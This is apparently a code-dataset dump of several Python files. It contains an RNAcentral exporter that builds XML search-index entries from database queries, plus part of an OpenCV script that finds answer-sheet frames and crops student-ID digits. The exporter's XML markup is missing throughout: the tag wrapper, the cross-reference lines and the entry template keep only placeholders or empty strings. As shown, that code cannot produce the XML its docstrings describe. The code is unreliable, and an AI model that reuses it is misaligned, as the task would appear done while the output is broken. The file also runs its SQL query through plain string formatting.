150)\nplott.colorbar()\nplott.show()\n","sub_path":"MWR_Other.py","file_name":"MWR_Other.py","file_ext":"py","file_size_in_byte":12308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"32722350","text":"\"\"\"\nCopyright [2009-2017] EMBL-European Bioinformatics Institute\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport re\nimport json\nfrom xml.sax import saxutils\n\nimport psycopg2\n\nfrom ..common_exporters.database_connection import get_db_connection\n\n\nINSDC_PATTERN = r'Submitted \\(\\d{2}\\-\\w{3}\\-\\d{4}\\) to the INSDC\\. ?'\n\n\ndef format_whitespace(text):\n \"\"\"\n Strip out useless whitespace.\n \"\"\"\n\n # delete empty lines (if gene_synonym is empty e.g. )\n text = re.sub(r'\\n\\s+\\n', '\\n', text)\n # delete whitespace at the beginning of lines\n return re.sub('\\n +', '\\n', text)\n\n\ndef preprocess_data(field, value):\n \"\"\"\n Final data clean up and reformatting.\n \"\"\"\n\n if field == 'gene_synonym':\n return value.replace(' ', ';') # EBI search team request\n return value\n\n\ndef wrap_in_field_tag(name, value):\n \"\"\"\n A method for creating field tags.\n \"\"\"\n\n try:\n result = '{1}'.format(name, value)\n except UnicodeEncodeError:\n value = value.encode('ascii', 'ignore').decode('ascii')\n result = '{1}'.format(name, value)\n return result\n\n\ndef store_rfam_data(data, result):\n \"\"\"\n Modify data to contain the Rfam annotation information.\n \"\"\"\n\n data['rfam_family_name'].add(result['rfam_family_name'])\n data['rfam_id'].add(result['rfam_id'])\n data['rfam_clan'].add(result['rfam_clan'])\n\n status = {'problems': [], 'has_issue': False}\n if result['rfam_status']:\n status = json.loads(result['rfam_status'])\n\n for problem in status['problems']:\n data['rfam_problems'].add(problem['name'])\n\n\ndef store_computed_data(data, result):\n \"\"\"\n This will store some computed values for gene if possible.\n \"\"\"\n\n product_pattern = re.compile(r'^\\w{3}-')\n if not result['gene'] and \\\n result['product'] and \\\n re.match(product_pattern, result['product']) and \\\n result['expert_db'] == 'miRBase':\n short_gene = re.sub(product_pattern, '', result['product'])\n data['gene'].add(saxutils.escape(short_gene))\n\n\ndef store_redundant_fields(data, result, redundant_fields):\n \"\"\"\n Store redundant data in sets in order to get distinct values.\n Escape '&', '<', and '>'.\n \"\"\"\n\n escape_fields = [\n 'species',\n 'product',\n 'common_name',\n 'function',\n 'gene',\n 'gene_synonym',\n ]\n for field in redundant_fields:\n if result[field]:\n if field in escape_fields:\n result[field] = saxutils.escape(result[field])\n data[field].add(result[field])\n\n\ndef store_xrefs(data, result):\n \"\"\"\n Store xrefs as (database, accession) tuples in self.data['xrefs'].\n \"\"\"\n\n # skip PDB and SILVA optional_ids because for PDB it's chain id\n # and for SILVA it's INSDC accessions\n if result['expert_db'] not in ['SILVA', 'PDB'] and result['optional_id']:\n data['xrefs'].add((result['expert_db'], result['optional_id']))\n\n # expert_db should not contain spaces, EBeye requirement\n result['expert_db'] = result['expert_db'].replace(' ', '_').upper()\n\n # an expert_db entry\n if result['non_coding_id'] or result['expert_db']:\n data['xrefs'].add((result['expert_db'], result['external_id']))\n else: # source ENA entry\n # Non-coding entry\n expert_db = 'NON-CODING' # EBeye requirement\n data['xrefs'].add((expert_db, result['accession']))\n\n # parent ENA entry\n # except for PDB entries which are not based on ENA accessions\n if result['expert_db'] != 'PDBE':\n data['xrefs'].add(('ENA', result['parent_accession']))\n\n # HGNC entry: store a special flag and index accession\n if result['expert_db'] == 'HGNC':\n data['hgnc'] = True\n data['xrefs'].add(('HGNC', result['accession']))\n\n if result['note']:\n # extract GO terms from `note`\n for go_term in re.findall(r'GO\\:\\d+', result['note']):\n data['xrefs'].add(('GO', go_term))\n\n # extract SO terms from `note`\n for so_term in re.findall(r'SO\\:\\d+', result['note']):\n data['xrefs'].add(('SO', so_term))\n\n # extract ECO terms from `note`\n for eco_term in re.findall(r'ECO\\:\\d+', result['note']):\n data['xrefs'].add(('ECO', eco_term))\n\n\ndef get_rna_type(result):\n \"\"\"\n Use either feature name or ncRNA class (when feature is 'ncRNA')\n \"\"\"\n\n rna_type = None\n if result['rna_type']:\n rna_type = result['rna_type']\n else:\n if result['ncrna_class']:\n rna_type = result['ncrna_class']\n else:\n rna_type = result['feature_name']\n return [rna_type.replace('_', ' ')]\n\n\nclass RnaXmlExporter(object):\n \"\"\"\n A class for outputting data about unique RNA sequences in xml dump format\n used for metadata indexing.\n The same class instance is reused for multiple URS to avoid recreating\n class instances and reuse database connection.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Connect to the database and set up all variables.\n \"\"\"\n\n self.sql_statement = \"\"\"\n SELECT t1.taxid, t1.deleted,\n t2.species, t2.organelle, t2.external_id, t2.optional_id,\n t2.non_coding_id, t2.accession,\n t2.function, t2.gene, t2.gene_synonym, t2.feature_name,\n t2.ncrna_class, t2.product, t2.common_name, t2.note,\n t2.parent_ac || '.' || t2.seq_version as parent_accession,\n t3.display_name as expert_db,\n t4.timestamp as created,\n t5.timestamp as last,\n t6.len as length,\n t7.rna_type,\n t2.locus_tag,\n t2.standard_name,\n t2.classification as tax_string,\n models.short_name as rfam_family_name,\n models.rfam_model_id as rfam_id,\n clans.rfam_clan_id as rfam_clan,\n t7.rfam_problems as rfam_status\n FROM xref t1\n JOIN rnc_accessions t2 ON t1.ac = t2.accession\n JOIN rnc_database t3 ON t1.dbid = t3.id\n JOIN rnc_release t4 on t1.created = t4.id\n JOIN rnc_release t5 on t1.last = t5.id\n JOIN rna t6 on t1.upi = t6.upi\n JOIN rnc_rna_precomputed t7 on t1.upi = t7.upi and t1.taxid = t7.taxid\n LEFT JOIN rfam_model_hits hits ON t1.upi = hits.upi\n LEFT JOIN rfam_models models\n ON hits.rfam_model_id = models.rfam_model_id\n LEFT JOIN rfam_clans clans ON models.rfam_clan_id = clans.rfam_clan_id\n WHERE\n t1.upi = '{upi}' AND\n t1.deleted = 'N' AND\n t1.taxid = {taxid}\n \"\"\"\n\n self.data = dict()\n\n # fields with redundant values; for example, a single sequence\n # can be associated with multiple taxids.\n # these strings must match the SQL query return values\n # and will become keys in self.data\n self.redundant_fields = [\n 'taxid', 'species', 'expert_db', 'organelle',\n 'created', 'last', 'deleted',\n 'function', 'gene', 'gene_synonym', 'note',\n 'product', 'common_name', 'parent_accession',\n 'optional_id', 'locus_tag', 'standard_name',\n 'rfam_family_name', 'rfam_id', 'rfam_clan'\n ]\n\n # other data fields for which the sets should be (re-)created\n self.data_fields = [\n 'rna_type', 'authors', 'journal', 'popular_species',\n 'pub_title', 'pub_id', 'insdc_submission', 'xrefs',\n 'rfam_problem_found', 'rfam_problems', 'tax_string'\n ]\n\n self.popular_species = set([\n 9606, # human\n 10090, # mouse\n 7955, # zebrafish\n 3702, # Arabidopsis thaliana\n 6239, # Caenorhabditis elegans\n 7227, # Drosophila melanogaster\n 559292, # Saccharomyces cerevisiae S288c\n 4896, # Schizosaccharomyces pombe\n 511145, # Escherichia coli str. K-12 substr. MG1655\n 224308, # Bacillus subtilis subsp. subtilis str. 168\n ])\n\n self.reset()\n conn = get_db_connection()\n self.cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n def reset(self):\n \"\"\"\n Initialize or reset self.data so that the same object can be reused\n for different sequences.\n \"\"\"\n self.data = {\n 'upi': None,\n 'md5': None,\n 'boost': None,\n 'length': 0,\n 'description_line': None,\n }\n\n # (re-)create sets for all data fields\n for field in self.redundant_fields + self.data_fields:\n self.data[field] = set()\n\n def retrieve_data_from_database(self, upi, taxid):\n \"\"\"\n Some data is retrieved directly from the database because\n django ORM creates too much overhead.\n \"\"\"\n\n self.cursor.execute(self.sql_statement.format(upi=upi, taxid=taxid))\n for result in self.cursor:\n store_redundant_fields(self.data, result, self.redundant_fields)\n store_xrefs(self.data, result)\n store_computed_data(self.data, result)\n store_rfam_data(self.data, result)\n self.data['rna_type'].update(get_rna_type(result))\n self.data['tax_string'].add(saxutils.escape(result['tax_string']))\n\n self.data['rfam_problem_found'] = [str(bool(self.data['rfam_problems']))]\n if not self.data['rfam_problems']:\n self.data['rfam_problems'].add('none')\n\n def is_active(self):\n \"\"\"\n Return 'Active' if a sequence has at least one active cross_reference,\n return 'Obsolete' otherwise.\n \"\"\"\n if 'N' in self.data['deleted']:\n return 'Active'\n else:\n return 'Obsolete'\n\n def __first_or_last_seen(self, mode):\n \"\"\"\n Single method for retrieving first/last release dates.\n \"\"\"\n if mode not in ['created', 'last']:\n return None\n self.data[mode] = list(self.data[mode]) # sets cannot be sorted\n self.data[mode].sort()\n if mode == 'created':\n value = self.data[mode][0] # first\n elif mode == 'last':\n value = self.data[mode][-1] # last\n return value.strftime('%d %b %Y') # 18 Nov 2014 e.g.\n\n def first_seen(self):\n \"\"\"\n Return the earliest release date.\n \"\"\"\n return self.__first_or_last_seen('created')\n\n def last_seen(self):\n \"\"\"\n Return the latest release date.\n \"\"\"\n return self.__first_or_last_seen('last')\n\n def store_literature_references(self, rna, taxid):\n \"\"\"\n Store literature reference data.\n \"\"\"\n\n def process_location(location):\n \"\"\"\n Store the location field either as journal or INSDC submission.\n \"\"\"\n if re.match('^Submitted', location):\n location = re.sub(INSDC_PATTERN, '', location)\n if location:\n self.data['insdc_submission'].add(location)\n else:\n if location:\n self.data['journal'].add(location)\n\n for ref in rna.get_publications(taxid=taxid):\n self.data['pub_id'].add(ref.id)\n if ref.authors:\n self.data['authors'].add(ref.authors)\n if ref.title:\n self.data['pub_title'].add(saxutils.escape(ref.title))\n if ref.pubmed:\n self.data['xrefs'].add(('PUBMED', ref.pubmed))\n if ref.doi:\n self.data['xrefs'].add(('DOI', ref.doi))\n if ref.location:\n process_location(saxutils.escape(ref.location))\n\n def compute_boost_value(self):\n \"\"\"\n Determine ordering in search results.\n \"\"\"\n if self.is_active() == 'Active' and 'hgnc' in self.data:\n # highest priority for HGNC entries\n boost = 4\n elif self.is_active() == 'Active' and 9606 in self.data['taxid']:\n # human entries have max priority\n boost = 3\n elif self.is_active() == 'Active' and \\\n self.popular_species & self.data['taxid']:\n # popular species are given priority\n boost = 2\n elif self.is_active() == 'Obsolete':\n # no priority for obsolete entries\n boost = 0\n else:\n # basic priority level\n boost = 1\n\n generic_types = set(['misc_RNA', 'misc RNA', 'other'])\n if len(self.data['rna_type']) == 1 and \\\n generic_types.intersection(self.data['rna_type']):\n boost = boost - 0.5\n\n if 'incomplete_sequence' in self.data['rfam_problems']:\n boost = boost - 0.5\n\n self.data['boost'] = boost\n\n def format_field(self, field):\n \"\"\"\n Wrap additional fields in tags.\n \"\"\"\n text = []\n for value in self.data[field]:\n if value: # organelle can be empty e.g.\n value = preprocess_data(field, value)\n text.append(wrap_in_field_tag(field, value))\n return '\\n'.join(text)\n\n def format_cross_references(self, taxid):\n \"\"\"\n Wrap xrefs and taxids in tags.\n Taxids are stored as cross-references.\n \"\"\"\n\n text = []\n for xref in self.data['xrefs']:\n if not xref[1]:\n continue\n text.append(''.format(\n xref[0],\n xref[1],\n ))\n\n for taxid in self.data['taxid']:\n text.append(''.format(\n taxid,\n ))\n\n return '\\n'.join(text)\n\n def format_xml_entry(self, taxid):\n \"\"\"\n Format self.data as an xml entry.\n Using Django templates is slower than constructing the entry manually.\n \"\"\"\n\n def format_author_fields():\n \"\"\"\n Store authors in separate tags to enable more precise searching.\n \"\"\"\n authors = set()\n for author_list in self.data['authors']:\n for author in author_list.split(', '):\n authors.add(author)\n return '\\n'.join([wrap_in_field_tag('author', x) for x in authors])\n\n text = \"\"\"\n \n Unique RNA Sequence {upi}_{taxid}\n {description}\n \n \n \n \n \n {cross_references}\n \n \n {is_active}\n {length}\n {species}\n {organelles}\n {expert_dbs}\n {common_name}\n {function}\n {gene}\n {gene_synonym}\n {rna_type}\n {product}\n {has_genomic_coordinates}\n {md5}\n {authors}\n {journal}\n {insdc_submission}\n {pub_title}\n {pub_id}\n {popular_species}\n {boost}\n {locus_tag}\n {standard_name}\n {rfam_family_name}\n {rfam_id}\n {rfam_clan}\n {rfam_problem}\n {rfam_problem_found}\n {tax_string}\n \n \n \"\"\".format(\n upi=self.data['upi'],\n description=self.data['description_line'],\n first_seen=self.first_seen(),\n last_seen=self.last_seen(),\n cross_references=self.format_cross_references(taxid),\n is_active=wrap_in_field_tag('active', self.is_active()),\n length=wrap_in_field_tag('length', self.data['length']),\n species=self.format_field('species'),\n organelles=self.format_field('organelle'),\n expert_dbs=self.format_field('expert_db'),\n common_name=self.format_field('common_name'),\n function=self.format_field('function'),\n gene=self.format_field('gene'),\n gene_synonym=self.format_field('gene_synonym'),\n rna_type=self.format_field('rna_type'),\n product=self.format_field('product'),\n has_genomic_coordinates=wrap_in_field_tag(\n 'has_genomic_coordinates',\n str(self.data['has_genomic_coordinates'])\n ),\n md5=wrap_in_field_tag('md5', self.data['md5']),\n authors=format_author_fields(),\n journal=self.format_field('journal'),\n insdc_submission=self.format_field('insdc_submission'),\n pub_title=self.format_field('pub_title'),\n pub_id=self.format_field('pub_id'),\n popular_species=self.format_field('popular_species'),\n boost=wrap_in_field_tag('boost', self.data['boost']),\n locus_tag=self.format_field('locus_tag'),\n standard_name=self.format_field('standard_name'),\n taxid=taxid,\n rfam_family_name=self.format_field('rfam_family_name'),\n rfam_id=self.format_field('rfam_id'),\n rfam_clan=self.format_field('rfam_clan'),\n rfam_problem=self.format_field('rfam_problems'),\n rfam_problem_found=self.format_field('rfam_problem_found'),\n tax_string=self.format_field('tax_string'),\n )\n return format_whitespace(text)\n\n ##################\n # Public methods #\n ##################\n\n def get_xml_entry(self, rna):\n \"\"\"\n Public method for outputting an xml dump entry for a given UPI.\n \"\"\"\n taxids = rna.xrefs.values_list('taxid', flat=True).distinct()\n text = ''\n for taxid in taxids:\n self.reset()\n self.data['upi'] = rna.upi\n self.data['md5'] = rna.md5\n self.data['length'] = rna.length\n self.data['description_line'] = \\\n saxutils.escape(rna.get_description(taxid=taxid))\n self.data['has_genomic_coordinates'] = \\\n rna.has_genomic_coordinates(taxid=taxid)\n\n self.retrieve_data_from_database(rna.upi, taxid)\n if not self.data['xrefs']:\n continue\n\n self.store_literature_references(rna, taxid)\n self.data['popular_species'] = \\\n self.data['taxid'] & self.popular_species\n\n self.compute_boost_value()\n text += self.format_xml_entry(taxid)\n return text\n","sub_path":"rnacentral/portal/management/commands/xml_exporters/rna2xml.py","file_name":"rna2xml.py","file_ext":"py","file_size_in_byte":19401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"514430335","text":"import cv2\nimport numpy as np\n\nfrom polls.sanepackage.dectionFeature import kerasLoad\n\ndef getStandardDetails(frameFeatures):\n '''\n return\n 标准纸张信息, 标准选择题框子的信息, 标准学号框子的信息\n '''\n print(frameFeatures)\n print('framefeatures---------------------')\n for i in frameFeatures.keys():\n print(i)\n print('framefeatures---------------------')\n paper = frameFeatures['Paper']\n multipleQuestionFrame = frameFeatures['AllFrames']['MultipleChose']\n studentIDFrame = frameFeatures['AllFrames']['ID']\n outFrame = frameFeatures['outFrame']\n\n return paper, multipleQuestionFrame, studentIDFrame, outFrame\n\n\ndef getOutFrame(img, outFrameStandard):\n '''\n 获取最外层大框子\n\n img: 传入的扫描图片。 outFrameStandard: 标准的外框信息\n \n result: bgr三通道图片,标准的正矩形,外框图片\n '''\n # 标准的面积\n standardAimArea = outFrameStandard['area']\n # 标准周长\n standardAimLength = outFrameStandard['circumference']\n # 标准的容差\n standardAimTolerance = outFrameStandard['tolerance']\n # 标准高度(外层框子)\n standardHeight = outFrameStandard['height']\n # 标准宽度(外层框子)\n standardWidth = outFrameStandard['width']\n # 标准Y值范围 (min, max)\n # standardAimHeightRange = outFrameStandard['centerHeight']\n\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n # 中值滤波 过滤噪声,保留边缘信息\n # gray = cv2.medianBlur(gray,1) \n # 双边滤波\n # blur = cv2.bilateralFilter(img,9,75,75)\n # 高斯滤波\n # blur = cv2.GaussianBlur(img,(5,5),0)\n\n # Canny算子求得图像边缘\n edges = cv2.Canny(gray, 70, 150, apertureSize = 3)\n\n # 闭运算 线膨胀后腐蚀\n kernel = np.ones((3,3),np.uint8)\n closing = cv2.morphologyEx(edges,cv2.MORPH_CLOSE,kernel)\n\n # 寻找轮廓\n contours, hier = cv2.findContours(closing, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # # 获取面积最大的contour\n # cnt = max(contours, key=lambda cnt: cv2.contourArea(cnt))\n # cv2.drawContours(img, contours, -1, (0, 0, 255), 1)\n\n\n # 接收最大匹配的轮廓\n maxTorleracnePoints = [[], 0]\n for point in contours:\n # 找质心,面积,周长用到\n M = cv2.moments(point)\n #(x,y)为矩形左上角的坐标,(w,h)是矩形的宽和高\n \n # 计算本框框的面积\n thisPointArea = cv2.contourArea(point)\n # 计算本框框面积容差\n toleranceResultArea = evaluateTolerance(thisPointArea, standardAimArea)\n # 计算本框框周长\n thisPointLength = cv2.arcLength(point,True)\n # 计算周长容差\n toleranceResultLength = evaluateTolerance(standardAimLength, thisPointLength)\n\n # 周长、面积、以及中心点高度必须达到容差要求才算是合格\n # M['m00'] != 0 and toleranceResultArea >= standardAimTolerance and toleranceResultLength >= standardAimTolerance\n if M['m00'] != 0 and toleranceResultArea >= standardAimTolerance and toleranceResultLength >= standardAimTolerance: \n \n print(toleranceResultArea, toleranceResultLength)\n\n if maxTorleracnePoints[1] < toleranceResultLength:\n\n maxTorleracnePoints = [point, toleranceResultLength]\n\n # print('Got outFrame and this toleranceLength: {length} ; toleranceArea: {area} '.format(length=toleranceResultLength, area=toleranceResultArea))\n # cx = int(M['m10']/M['m00'])\n # cy = int(M['m01']/M['m00'])\n # 中心点高是否合格\n # print(toleranceResultArea)\n # print(thisPointArea)\n \n # print('中心点',(cx, cy))\n # print(point)\n # cv2.drawContours(img, [point], -1, (0, 0, 255), 1)\n # x,y,w,h=cv2.boundingRect(point)\n # img=cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),1)\n\n approx = cv2.approxPolyDP(maxTorleracnePoints[0], 0.05 * standardAimLength, True) \n cv2.drawContours(img, [approx], -1, (0, 0, 255), 1)\n\n # 先平方和 确定出 左上角以及右下角的值\n approx = sorted(approx, key=lambda x: x[0][0]**2 + x[0][1]**2)\n # 判断中间两个元素的横坐标值,如果第二个 < 第三个 则交换顺序\n if approx[1][0][0] < approx[2][0][0]: approx[1],approx[2] = approx[2], approx[1]\n # 最后交换第三个元素和第四个元素的值\n approx[2],approx[3] = approx[3], approx[2]\n\n\n print('这个是外层的框子')\n print(approx)\n # print(outFrameStandard)\n #根据四个顶点设置图像透视变换矩阵\n pos1 = np.float32(approx)\n pos2 = np.float32([[0, 0],[standardWidth, 0], [standardWidth, standardHeight], [0, standardHeight]])\n M1 = cv2.getPerspectiveTransform(pos1, pos2)\n #图像透视变换,最终返回正矩形\n result = cv2.warpPerspective(img, M1, (standardWidth, standardHeight))\n\n print('打印标记的图片')\n # cv2.imshow('1', result)\n # cv2.imshow('2', closing)\n # cv2.imshow('3',edges)\n # cv2.waitKey(0) \n # cv2.destroyAllWindows()\n\n return result\n\n\ndef evaluateTolerance(a,b):\n '''\n 计算容差 标准与opencv计算结果\n '''\n tolerance = 0 \n \n if a >= b:\n tolerance = round(b/a, 2)\n else :\n tolerance = round(a/b, 2)\n return tolerance\n\ndef getStudentIDPoints(img, studentFrameStandard):\n print('studentID 框子')\n print(img.shape)\n # 标准的面积\n standardAimArea = studentFrameStandard['area']\n # 标准周长\n standardAimLength = studentFrameStandard['circumference']\n # 标准的容差\n standardAimTolerance = studentFrameStandard['tolerance']\n # 标准Y值范围 (min, max)\n standardAimHeightRange = studentFrameStandard['centerHeight']\n\n # print(img.shape)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # gray = img\n\n # 中值滤波 过滤噪声,保留边缘信息\n # gray = cv2.bilateralFilter(gray,3,21,21) \n\n\n # kernel = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]], np.float32) #锐化\n # dst = cv2.filter2D(gray, -1, kernel=kernel)\n\n # Laplacian算子\n # dst = cv2.Laplacian(gray, cv2.CV_16S, ksize = 3)\n # dst = cv2.convertScaleAbs(dst) \n\n # Sobel算子\n # x = cv2.Sobel(gray, cv2.CV_16S, 1, 0) #对x求一阶导\n # y = cv2.Sobel(gray, cv2.CV_16S, 0, 1) #对y求一阶导\n # absX = cv2.convertScaleAbs(x) \n # absY = cv2.convertScaleAbs(y) \n # dst = cv2.addWeighted(absX, 0.2, absY, 0.2, 0)\n\n\n\n\n #Prewitt算子\n kernelx = np.array([[1,1,1],[0,0,0],[-1,-1,-1]],dtype=int)\n kernely = np.array([[-1,0,1],[-1,0,1],[-1,0,1]],dtype=int)\n x = cv2.filter2D(gray, cv2.CV_16S, kernelx)\n y = cv2.filter2D(gray, cv2.CV_16S, kernely)\n\n #转uint8\n absX = cv2.convertScaleAbs(x) \n absY = cv2.convertScaleAbs(y) \n dst = cv2.addWeighted(absX,0.5,absY,0.5,0)\n\n\n # Canny算子求得图像边缘\n edges = cv2.Canny(dst, 50, 150, apertureSize = 3)\n\n # 闭运算 线膨胀后腐蚀\n # kernel = np.ones((5,5),np.uint8)\n # closing = cv2.morphologyEx(edges,cv2.MORPH_CLOSE,kernel)\n\n # 寻找轮廓\n contours, hier = cv2.findContours(edges, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # # 获取面积最大的contour\n # cnt = max(contours, key=lambda cnt: cv2.contourArea(cnt))\n\n cv2.drawContours(img, contours, -1, (255, 0, 255), 1)\n\n count = 0\n for point in contours:\n # 找质心,面积,周长用到\n M = cv2.moments(point)\n #(x,y)为矩形左上角的坐标,(w,h)是矩形的宽和高\n \n # 计算本框框的面积\n thisPointArea = cv2.contourArea(point)\n # 计算本框框面积容差\n toleranceResultArea = evaluateTolerance(thisPointArea, standardAimArea)\n # 计算本框框周长\n thisPointLength = cv2.arcLength(point,True)\n toleranceResultLength = evaluateTolerance(standardAimLength, thisPointLength)\n if toleranceResultLength > 0.8 and toleranceResultArea > 0.3:\n approx = cv2.approxPolyDP(point, 0.05 * standardAimLength, True) \n count = count + 1\n cv2.drawContours(img, [point], -1, (0, 255, 255), 1)\n # 周长、面积、以及中心点高度必须达到容差要求才算是合格\n # M['m00'] != 0 and toleranceResultArea > standardAimTolerance and toleranceResultLength > standardAimTolerance\n if M['m00'] != 0 and toleranceResultArea > standardAimTolerance and toleranceResultLength > standardAimTolerance:\n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n cv2.drawContours(img, [point], -1, (255, 0, 255), 1)\n # 中心点高是否合格\n if standardAimHeightRange[0] < cy < standardAimHeightRange[1]:\n print(toleranceResultArea)\n print(thisPointArea)\n print('中心点',(cx, cy))\n # count = count + 1\n # print(point)\n cv2.drawContours(img, [point], -1, (0, 0, 255), 1)\n # x,y,w,h=cv2.boundingRect(point)\n # img=cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),1)\n \n print('共找到count个', count)\n \n # cv2.drawContours(img, contours, -1, (0, 0, 255), 1)、\n\n cv2.imshow('1', dst)\n cv2.imshow('3',edges)\n cv2.imshow('2', img)\n cv2.waitKey(0) \n \n cv2.destroyAllWindows()\n\n\ndef handleStandardImg(standardImg):\n '''\n 这个函数是为了处理标准的图片拿到之后对其进行二值化,模糊,开闭运算,最终返回 开闭运算的值方便之后的函数处理\n standardImg: 标准的外框图片\n return : 获取到的边缘像素点\n ''' \n \n gray = cv2.cvtColor(standardImg, cv2.COLOR_BGR2GRAY)\n\n dst = cv2.bilateralFilter(src=gray, d = 5, sigmaColor=150, sigmaSpace = 100)\n\n # Canny算子求得图像边缘\n edges = cv2.Canny(dst, 70, 150, apertureSize = 3)\n\n\n # 闭运算 线膨胀后腐蚀\n kernel = np.ones((5,5),np.uint8)\n closing = cv2.morphologyEx(edges,cv2.MORPH_CLOSE,kernel)\n\n\n # 寻找轮廓\n contours, hier = cv2.findContours(closing, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # # 获取面积最大的contour\n # cnt = max(contours, key=lambda cnt: cv2.contourArea(cnt))\n cv2.drawContours(standardImg, contours, -1, (0, 0, 255), 1)\n\n # d = 5\n # sigmaSpace = 10\n # sigmaColor = 200\n \n # # 定义回调函数,此程序无需回调,所以Pass即可\n # def callback(object):\n # pass\n # # 滑动条\n # cv2.createTrackbar('sigmaColor', 'image', 0, 255, callback)\n # cv2.createTrackbar('d', 'image', 0, 255, callback)\n # cv2.createTrackbar('sigmaSpace', 'image', 0, 255, callback)\n\n # while(True):\n # sigmaColor = cv2.getTrackbarPos('sigmaColor', 'image')\n # sigmaColor = cv2.getTrackbarPos('d', 'image')\n # sigmaColor = cv2.getTrackbarPos('sigmaSpace', 'image')\n # dst = cv2.bilateralFilter(src=gray, d=d, sigmaColor=sigmaColor, sigmaSpace=sigmaColor)\n # if cv2.waitKey(10) & 0xFF == ord('q'):\n # break\n # cv2.imshow('image', dst)\n\n\n # cv2.namedWindow('image',0)\n # cv2.namedWindow('image1',0)\n # cv2.imshow('image', standardImg)\n # cv2.imshow('image1', closing)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n return contours \n\n\ndef getAllFrames(counters, standardData,):\n '''\n 获取所有符合标准的矩形并返回\n '''\n AllFrames = standardData['AllFrames'] \n # print(AllFrames)\n AllFramesResult = {}\n for counter in counters:\n\n M = cv2.moments(counter)\n # ['m00'] 不可以为0否则报错\n if M['m00'] != 0 : \n cx = int(M['m10']/M['m00'])\n cy = int(M['m01']/M['m00'])\n\n x,y,w,h = cv2.boundingRect(counter)\n thisArea_Rect = w*h\n thisLength_Rect = 2*w + 2*h\n thisArea = cv2.contourArea(counter)\n thisLength = cv2.arcLength(counter,True)\n\n for frameKey, frameValue in AllFrames.items():\n toleranceArea = evaluateTolerance(thisArea, frameValue['area'])\n toleranceLength = evaluateTolerance(thisLength, frameValue['circumference'])\n \n \n if toleranceArea >= frameValue['tolerance'] and toleranceLength >= frameValue['tolerance']:\n print(toleranceArea, toleranceLength, frameKey)\n # 若 AllFramesResult 中有 frameKey 这个值,则还要判断 容差 是否大于已有元素的容差,若没有则加入\n if frameKey in AllFramesResult.keys() :\n if AllFramesResult[frameKey][4] <= toleranceArea:\n AllFramesResult[frameKey] = (x,y,w,h, toleranceLength, toleranceArea)\n else: \n AllFramesResult[frameKey] = (x,y,w,h, toleranceLength, toleranceArea)\n \n # print(AllFramesResult)\n return AllFramesResult\n \n\ndef getStudentNumberImage(standardImg, allFrames, standardData):\n '''\n 这个函数是为了获取学号来用的\n '''\n\n IDFrameData = allFrames['ID']\n IDFrameImage = standardImg[IDFrameData[1]:IDFrameData[1]+IDFrameData[3], IDFrameData[0]:IDFrameData[0]+IDFrameData[2]]\n\n standardIDFrame = standardData['AllFrames']['ID']\n pane = standardIDFrame['pane']\n paneLeft = standardIDFrame['padding_left']\n paneArea = standardIDFrame['paneArea']\n paneLength = standardIDFrame['paneCircumference']\n\n gray = cv2.cvtColor(IDFrameImage, cv2.COLOR_BGR2GRAY)\n\n dst = cv2.bilateralFilter(src=gray, d = 5, sigmaColor=150, sigmaSpace = 100)\n\n # Canny算子求得图像边缘\n edges = cv2.Canny(dst, 70, 150, apertureSize = 3)\n\n\n # 闭运算 线膨胀后腐蚀\n kernel = np.ones((4,4),np.uint8)\n closing = cv2.morphologyEx(edges,cv2.MORPH_CLOSE,kernel)\n\n # 寻找轮廓\n contours, hier = cv2.findContours(closing, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n # cv2.drawContours(IDFrameImage, contours, -1, (2, 255, 255), 1)\n\n \n studentID= []\n print('StandardArea:-----------------')\n print(paneArea)\n print('StandardArea:-----------------')\n print(paneLength)\n for contour in contours:\n\n # approx = cv2.approxPolyDP(contour, 0.1 * paneLength, True) \n\n x,y,w,h=cv2.boundingRect(contour)\n\n thisArea = w * h\n thisLength = (w+h) * 2\n\n toleranceArea = evaluateTolerance(thisArea, paneArea)\n toleranceLength = evaluateTolerance(thisLength, paneLength)\n \n if toleranceArea> 0.7 and toleranceLength > 0.7:\n print(toleranceArea, toleranceLength)\n x,y,w,h = cv2.boundingRect(contour)\n thisNumber = closing[y+4 :y+h-4 ,x+3:x+w-3]\n thisNumber = cv2.resize(thisNumber, (28,28), interpolation=cv2.INTER_LANCZOS4)\n print(thisNumber.shape)\n studentID.append(thisNumber)\n img=cv2.rectangle(IDFrameImage,(x,y),(x+w,y+h),(0,255,0),1)\n\n print(np.asarray(studentID).shape)\n # for i in range(5):\n # start = paneLeft + pane[0] * i\n # end = paneLeft + pane[0]* i + pane[0]\n\n # thisNumber = closing[ IDFrame[1]: IDFrame[1] + IDFrame[3] , start:end]\n # thisNumber = cv2.resize(thisNumber, (28,28), interpolation=cv2.INTER_LANCZOS4)\n # studentID.append(thisNumber)\n # np.append(studentID, closing[ IDFrame[1]: IDFrame[1] + IDFrame[3] , start:end] , axis=0)\n\n cv2.imshow('1', studentID[0])\n cv2.imshow('11', studentID[1])\n cv2.imshow('111', studentID[2])\n cv2.imshow('1111', studentID[3])\n cv2.imshow('11111', studentID[4])\n cv2.imshow('111111', studentID[5])\n cv2.imshow('1111', studentID[4])\n cv2.imshow('22', edges)\n cv2.imshow('33', 